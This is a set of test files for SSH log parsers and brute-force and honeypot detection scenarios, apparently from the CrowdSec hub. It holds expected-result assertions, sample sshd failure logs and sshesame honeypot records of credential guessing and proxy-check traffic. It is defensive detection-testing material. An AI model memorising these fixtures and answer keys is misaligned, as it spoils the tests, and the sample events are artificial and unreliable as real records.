results["s00-raw"]["crowdsecurity/syslog-logs"][10].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][10].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][10].Evt.Parsed["message"] == "Magic value check failed (4289475479) on obfuscated handshake from 94.232.46.213 port 62730" results["s00-raw"]["crowdsecurity/syslog-logs"][10].Evt.Parsed["pid"] == "386400" results["s00-raw"]["crowdsecurity/syslog-logs"][10].Evt.Parsed["program"] == "sshd" results["s00-raw"]["crowdsecurity/syslog-logs"][10].Evt.Parsed["timestamp"] == "Oct 10 01:48:14" results["s00-raw"]["crowdsecurity/syslog-logs"][10].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][10].Evt.Meta["machine"] == "username" results["s00-raw"]["crowdsecurity/syslog-logs"][10].Evt.Meta["datasource_path"] == "sshd-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][11].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][11].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][11].Evt.Parsed["message"] == "Connection closed by invalid user root 206.81.24.125 port 45362 [preauth]" results["s00-raw"]["crowdsecurity/syslog-logs"][11].Evt.Parsed["pid"] == "69420" results["s00-raw"]["crowdsecurity/syslog-logs"][11].Evt.Parsed["program"] == "sshd" results["s00-raw"]["crowdsecurity/syslog-logs"][11].Evt.Parsed["timestamp"] == "Aug 03 21:39:20" results["s00-raw"]["crowdsecurity/syslog-logs"][11].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][11].Evt.Meta["machine"] == "hostname" results["s00-raw"]["crowdsecurity/syslog-logs"][11].Evt.Meta["datasource_path"] == "sshd-logs.log" len(results["s01-parse"]["crowdsecurity/sshd-logs"]) == 12 results["s01-parse"]["crowdsecurity/sshd-logs"][0].Success == true results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Parsed["message"] == "Invalid user pascal from 35.188.49.176 port 53502" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Parsed["pid"] == "16378" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Parsed["program"] == "sshd" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Parsed["sshd_client_ip"] == "35.188.49.176" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Parsed["sshd_invalid_user"] == "pascal" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Parsed["timestamp"] == "Feb 12 14:10:21" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Meta["datasource_path"] == "sshd-logs.log" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Meta["log_type"] == "ssh_failed-auth" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Meta["machine"] == "sd-126005" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Meta["service"] == "ssh" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Meta["source_ip"] == "35.188.49.176" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Meta["target_user"] == "pascal" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Success == true results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Parsed["message"] == "Invalid user pascal from 35.188.49.176 port 53502" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Parsed["program"] == "sshd" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Parsed["sshd_client_ip"] == "35.188.49.176" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Parsed["sshd_invalid_user"] == "pascal" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Parsed["timestamp"] == "Feb 12 14:10:21" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Parsed["pid"] == "16378" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Meta["source_ip"] == "35.188.49.176" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Meta["target_user"] == "pascal" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Meta["datasource_path"] == "sshd-logs.log" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Meta["log_type"] == "ssh_failed-auth" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Meta["machine"] == "sd-126005" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Meta["service"] == "ssh" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Success == true results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Parsed["message"] == "Invalid user pascal from 35.188.49.176 port 53502" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Parsed["pid"] == "16378" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Parsed["program"] == "sshd" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Parsed["sshd_invalid_user"] == "pascal" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Parsed["sshd_client_ip"] == "35.188.49.176" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Parsed["timestamp"] == "Feb 12 14:10:21" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Meta["machine"] == "sd-126005" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Meta["service"] == "ssh" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Meta["source_ip"] == "35.188.49.176" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Meta["target_user"] == "pascal" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Meta["datasource_path"] == "sshd-logs.log" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Meta["log_type"] == "ssh_failed-auth" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Success == true results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Parsed["sshd_client_ip"] == "5.33.63.160" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Parsed["sshd_invalid_user"] == "workshop" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Parsed["uid"] == "0" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Parsed["euid"] == "0" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Parsed["pam_type"] == "unix" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Parsed["pid"] == "28179" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Parsed["program"] == "sshd" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Parsed["timestamp"] == "Nov 2 15:40:14" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Parsed["message"] == "pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=5.33.63.160 user=workshop" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Meta["datasource_path"] == "sshd-logs.log" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Meta["log_type"] == "ssh_failed-auth" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Meta["machine"] == "workshop" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Meta["service"] == "ssh" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Meta["source_ip"] == "5.33.63.160" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Meta["target_user"] == "workshop" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Success == true results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Parsed["euid"] == "0" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Parsed["message"] == "pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=5.33.63.161" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Parsed["sshd_client_ip"] == "5.33.63.161" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Parsed["uid"] == "0" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Parsed["pam_type"] == "unix" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Parsed["pid"] == "28179" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Parsed["program"] == "sshd" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Parsed["timestamp"] == "Nov 2 15:40:15" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Meta["datasource_path"] == "sshd-logs.log" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Meta["log_type"] == "ssh_failed-auth" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Meta["machine"] == "workshop" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Meta["service"] == "ssh" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Meta["source_ip"] == "5.33.63.161" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Success == true results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Parsed["sshd_client_ip"] == "206.81.24.125" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Parsed["timestamp"] == "Dec 22 14:53:37" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Parsed["message"] == "Connection closed by authenticating user root 206.81.24.125 port 45362 [preauth]" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Parsed["program"] == "sshd" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Parsed["sshd_invalid_user"] == "root" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Parsed["pid"] == "4177" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Meta["machine"] == "ip-172-31-20-90" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Meta["service"] == "ssh" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Meta["source_ip"] == "206.81.24.125" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Meta["target_user"] == "root" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Meta["datasource_path"] == "sshd-logs.log" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Meta["log_type"] == "ssh_failed-auth" results["s01-parse"]["crowdsecurity/sshd-logs"][6].Success == true results["s01-parse"]["crowdsecurity/sshd-logs"][6].Evt.Parsed["program"] == "sshd" results["s01-parse"]["crowdsecurity/sshd-logs"][6].Evt.Parsed["sshd_client_ip"] == "92.255.85.135" results["s01-parse"]["crowdsecurity/sshd-logs"][6].Evt.Parsed["sshd_invalid_user"] == "ftp" results["s01-parse"]["crowdsecurity/sshd-logs"][6].Evt.Parsed["timestamp"] == "Feb 19 10:38:14" results["s01-parse"]["crowdsecurity/sshd-logs"][6].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/sshd-logs"][6].Evt.Parsed["message"] == "Disconnected from invalid user ftp 92.255.85.135 port 26138 [preauth]" results["s01-parse"]["crowdsecurity/sshd-logs"][6].Evt.Parsed["pid"] == "3355" results["s01-parse"]["crowdsecurity/sshd-logs"][6].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/sshd-logs"][6].Evt.Meta["log_type"] == "ssh_failed-auth" results["s01-parse"]["crowdsecurity/sshd-logs"][6].Evt.Meta["machine"] == "myhost" results["s01-parse"]["crowdsecurity/sshd-logs"][6].Evt.Meta["service"] == "ssh" results["s01-parse"]["crowdsecurity/sshd-logs"][6].Evt.Meta["source_ip"] == "92.255.85.135" results["s01-parse"]["crowdsecurity/sshd-logs"][6].Evt.Meta["target_user"] == "ftp" results["s01-parse"]["crowdsecurity/sshd-logs"][6].Evt.Meta["datasource_path"] == "sshd-logs.log" results["s01-parse"]["crowdsecurity/sshd-logs"][7].Success == true results["s01-parse"]["crowdsecurity/sshd-logs"][7].Evt.Parsed["program"] == "sshd" results["s01-parse"]["crowdsecurity/sshd-logs"][7].Evt.Parsed["sshd_invalid_user"] == "ftp" results["s01-parse"]["crowdsecurity/sshd-logs"][7].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/sshd-logs"][7].Evt.Parsed["message"] == "Disconnected from authenticating user ftp 92.255.85.135 port 26138 [preauth]" results["s01-parse"]["crowdsecurity/sshd-logs"][7].Evt.Parsed["pid"] == "3355" results["s01-parse"]["crowdsecurity/sshd-logs"][7].Evt.Parsed["timestamp"] == "Feb 19 10:38:14" results["s01-parse"]["crowdsecurity/sshd-logs"][7].Evt.Parsed["sshd_client_ip"] == "92.255.85.135" results["s01-parse"]["crowdsecurity/sshd-logs"][7].Evt.Meta["source_ip"] == "92.255.85.135" results["s01-parse"]["crowdsecurity/sshd-logs"][7].Evt.Meta["target_user"] == "ftp" results["s01-parse"]["crowdsecurity/sshd-logs"][7].Evt.Meta["datasource_path"] == "sshd-logs.log" results["s01-parse"]["crowdsecurity/sshd-logs"][7].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/sshd-logs"][7].Evt.Meta["log_type"] == "ssh_failed-auth" results["s01-parse"]["crowdsecurity/sshd-logs"][7].Evt.Meta["machine"] == "myhost" results["s01-parse"]["crowdsecurity/sshd-logs"][7].Evt.Meta["service"] == "ssh" results["s01-parse"]["crowdsecurity/sshd-logs"][8].Success == false results["s01-parse"]["crowdsecurity/sshd-logs"][9].Success == true results["s01-parse"]["crowdsecurity/sshd-logs"][9].Evt.Parsed["message"] == "Magic value check failed (4289475479) on obfuscated handshake from 94.232.46.213 port 62730" results["s01-parse"]["crowdsecurity/sshd-logs"][9].Evt.Parsed["pid"] == "386400" results["s01-parse"]["crowdsecurity/sshd-logs"][9].Evt.Parsed["program"] == "sshd" results["s01-parse"]["crowdsecurity/sshd-logs"][9].Evt.Parsed["sshd_client_ip"] == "94.232.46.213" results["s01-parse"]["crowdsecurity/sshd-logs"][9].Evt.Parsed["timestamp"] == "Oct 10 01:48:14" results["s01-parse"]["crowdsecurity/sshd-logs"][9].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/sshd-logs"][9].Evt.Meta["datasource_path"] == "sshd-logs.log" results["s01-parse"]["crowdsecurity/sshd-logs"][9].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/sshd-logs"][9].Evt.Meta["log_type"] == "ssh_failed-auth" results["s01-parse"]["crowdsecurity/sshd-logs"][9].Evt.Meta["machine"] == "username" results["s01-parse"]["crowdsecurity/sshd-logs"][9].Evt.Meta["service"] == "ssh" results["s01-parse"]["crowdsecurity/sshd-logs"][9].Evt.Meta["source_ip"] == "94.232.46.213" results["s01-parse"]["crowdsecurity/sshd-logs"][10].Success == true results["s01-parse"]["crowdsecurity/sshd-logs"][10].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/sshd-logs"][10].Evt.Parsed["program"] == "sshd" results["s01-parse"]["crowdsecurity/sshd-logs"][10].Evt.Parsed["sshd_client_ip"] == "94.232.46.213" results["s01-parse"]["crowdsecurity/sshd-logs"][10].Evt.Parsed["message"] == "Magic value check failed (4289475479) on obfuscated handshake from 94.232.46.213 port 62730" results["s01-parse"]["crowdsecurity/sshd-logs"][10].Evt.Parsed["pid"] == "386400" results["s01-parse"]["crowdsecurity/sshd-logs"][10].Evt.Parsed["timestamp"] == "Oct 10 01:48:14" results["s01-parse"]["crowdsecurity/sshd-logs"][10].Evt.Meta["source_ip"] == "94.232.46.213" results["s01-parse"]["crowdsecurity/sshd-logs"][10].Evt.Meta["datasource_path"] == "sshd-logs.log" results["s01-parse"]["crowdsecurity/sshd-logs"][10].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/sshd-logs"][10].Evt.Meta["log_type"] == "ssh_failed-auth" results["s01-parse"]["crowdsecurity/sshd-logs"][10].Evt.Meta["machine"] == "username" results["s01-parse"]["crowdsecurity/sshd-logs"][10].Evt.Meta["service"] == "ssh" results["s01-parse"]["crowdsecurity/sshd-logs"][11].Success == true results["s01-parse"]["crowdsecurity/sshd-logs"][11].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/sshd-logs"][11].Evt.Parsed["program"] == "sshd" results["s01-parse"]["crowdsecurity/sshd-logs"][11].Evt.Parsed["sshd_client_ip"] == "206.81.24.125" results["s01-parse"]["crowdsecurity/sshd-logs"][11].Evt.Parsed["message"] == "Connection closed by invalid user root 206.81.24.125 port 45362 [preauth]" results["s01-parse"]["crowdsecurity/sshd-logs"][11].Evt.Parsed["pid"] == "69420" results["s01-parse"]["crowdsecurity/sshd-logs"][11].Evt.Parsed["timestamp"] == "Aug 03 21:39:20" results["s01-parse"]["crowdsecurity/sshd-logs"][11].Evt.Meta["source_ip"] == "206.81.24.125" results["s01-parse"]["crowdsecurity/sshd-logs"][11].Evt.Meta["datasource_path"] == "sshd-logs.log" results["s01-parse"]["crowdsecurity/sshd-logs"][11].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/sshd-logs"][11].Evt.Meta["log_type"] == "ssh_failed-auth" results["s01-parse"]["crowdsecurity/sshd-logs"][11].Evt.Meta["machine"] == "hostname" results["s01-parse"]["crowdsecurity/sshd-logs"][11].Evt.Meta["service"] == "ssh" len(results["success"][""]) == 0 hub1/.tests/sshd-logs/sshd-logs.log000066400000000000000000000025401437532772500174660ustar00rootroot00000000000000Feb 12 14:10:21 sd-126005 sshd[16378]: Invalid user pascal from 35.188.49.176 port 53502 Feb 12 14:10:21 sd-126005 sshd[16378]: Invalid user pascal from 35.188.49.176 port 53502 Feb 12 14:10:21 sd-126005 sshd[16378]: Invalid user pascal from 35.188.49.176 port 53502 Nov 2 15:40:14 workshop sshd[28179]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=5.33.63.160 user=workshop Nov 2 15:40:15 workshop sshd[28179]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=5.33.63.161 Dec 22 14:53:37 ip-172-31-20-90 sshd[4177]: Connection closed by authenticating user root 206.81.24.125 port 45362 [preauth] Feb 19 10:38:14 myhost sshd[3355]: Disconnected from invalid user ftp 92.255.85.135 port 26138 [preauth] Feb 19 10:38:14 myhost sshd[3355]: Disconnected from authenticating user ftp 92.255.85.135 port 26138 [preauth] Feb 19 10:38:14 myhost sshd[3355]: Disconnected from totobad user ftp 92.255.85.135 port 26138 [preauth] Oct 10 01:48:14 username sshd[386400]: Magic value check failed (4289475479) on obfuscated handshake from 94.232.46.213 port 62730 Oct 10 01:48:14 username sshd[386400]: Magic value check failed (4289475479) on obfuscated handshake from 94.232.46.213 port 62730 Aug 03 21:39:20 hostname sshd[69420]: Connection closed by invalid user root 206.81.24.125 port 45362 [preauth] hub1/.tests/sshd_banner_exchange/000077500000000000000000000000001437532772500173045ustar00rootroot00000000000000hub1/.tests/sshd_banner_exchange/config.yaml000066400000000000000000000003521437532772500214350ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - crowdsecurity/sshd-logs scenarios: - crowdsecurity/ssh-bf postoverflows: - "" log_file: sshd_banner_exchange.log log_type: syslog labels: {} ignore_parsers: true hub1/.tests/sshd_banner_exchange/scenario.assert000066400000000000000000000053321437532772500223350ustar00rootroot00000000000000len(results) == 1 "59.91.122.57" in results[0].Overflow.GetSources() results[0].Overflow.Sources["59.91.122.57"].IP == "59.91.122.57" results[0].Overflow.Sources["59.91.122.57"].Range == "" results[0].Overflow.Sources["59.91.122.57"].GetScope() == "Ip" results[0].Overflow.Sources["59.91.122.57"].GetValue() == "59.91.122.57" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "sshd_banner_exchange.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "ssh_failed-auth" results[0].Overflow.Alert.Events[0].GetMeta("service") == "ssh" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "59.91.122.57" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "sshd_banner_exchange.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "ssh_failed-auth" results[0].Overflow.Alert.Events[1].GetMeta("service") == "ssh" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "59.91.122.57" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "sshd_banner_exchange.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "ssh_failed-auth" results[0].Overflow.Alert.Events[2].GetMeta("service") == "ssh" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "59.91.122.57" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "sshd_banner_exchange.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "ssh_failed-auth" results[0].Overflow.Alert.Events[3].GetMeta("service") == "ssh" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "59.91.122.57" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "sshd_banner_exchange.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "ssh_failed-auth" results[0].Overflow.Alert.Events[4].GetMeta("service") == "ssh" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "59.91.122.57" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "sshd_banner_exchange.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "ssh_failed-auth" results[0].Overflow.Alert.Events[5].GetMeta("service") == "ssh" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "59.91.122.57" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/ssh-bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 hub1/.tests/sshd_banner_exchange/sshd_banner_exchange.log000066400000000000000000000023551437532772500241440ustar00rootroot00000000000000Dec 1 18:59:33 hostname sshd[1189573]: banner exchange: Connection from 59.91.122.57 port 34388: invalid format Dec 1 18:59:33 hostname sshd[1189575]: error: kex_exchange_identification: banner line too long Dec 1 18:59:33 hostname sshd[1189575]: banner exchange: Connection from 59.91.122.57 port 44105: invalid format Dec 1 18:59:33 hostname sshd[1189580]: error: kex_exchange_identification: banner line too long Dec 1 18:59:33 hostname sshd[1189580]: banner exchange: Connection from 59.91.122.57 port 45164: invalid format Dec 1 18:59:33 hostname sshd[1189581]: error: kex_exchange_identification: banner line too long Dec 1 18:59:33 hostname sshd[1189581]: banner exchange: Connection from 59.91.122.57 port 37374: invalid format Dec 1 18:59:33 hostname sshd[1189582]: error: kex_exchange_identification: banner line too long Dec 1 18:59:33 hostname sshd[1189582]: banner exchange: Connection from 59.91.122.57 port 44400: invalid format Dec 1 18:59:33 hostname sshd[1189578]: error: kex_exchange_identification: banner line too long Dec 1 18:59:33 hostname sshd[1189578]: banner exchange: Connection from 59.91.122.57 port 54840: invalid format Dec 1 18:59:33 hostname sshd[1189583]: error: kex_exchange_identification: banner line too long hub1/.tests/sshesame/000077500000000000000000000000001437532772500147645ustar00rootroot00000000000000hub1/.tests/sshesame/config.yaml000066400000000000000000000004161437532772500171160ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/thespad/sshesame-logs.yaml scenarios: - ./scenarios/thespad/sshesame-honeypot.yaml postoverflows: - "" log_file: sshesame.log log_type: sshesame labels: {} ignore_parsers: false hub1/.tests/sshesame/parser.assert000066400000000000000000022625221437532772500175160ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 381 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "2022/05/06 04:53:57 [190.2.139.67:58629] [channel 106] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.136.142:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][1].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["message"] == "2022/05/06 04:53:57 [190.2.139.67:58629] [channel 106] input: \"GET /?requestid=53219 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][2].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["message"] == "2022/05/06 04:53:57 [190.2.139.67:58629] [channel 106] closed" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][3].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["message"] == "2022/05/06 04:58:33 [190.2.139.67:7117] [channel 63] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.136.142:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][4].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Parsed["message"] == "2022/05/06 04:58:33 [190.2.139.67:7117] [channel 63] input: \"GET /?requestid=61619 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][5].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Parsed["message"] == "2022/05/06 04:58:33 [190.2.139.67:7117] [channel 63] closed" results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][6].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Parsed["message"] == "2022/05/06 05:10:03 [195.3.147.60:28696] authentication for user \"admin\" without credentials rejected" results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][7].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Parsed["message"] == "2022/05/06 05:10:03 [195.3.147.60:28696] authentication for user \"admin\" with password \"aisadmin\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][8].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][8].Evt.Parsed["message"] == "2022/05/06 05:10:03 [195.3.147.60:28696] connection with client version \"SSH-2.0-OpenSSH_5.9\" established" 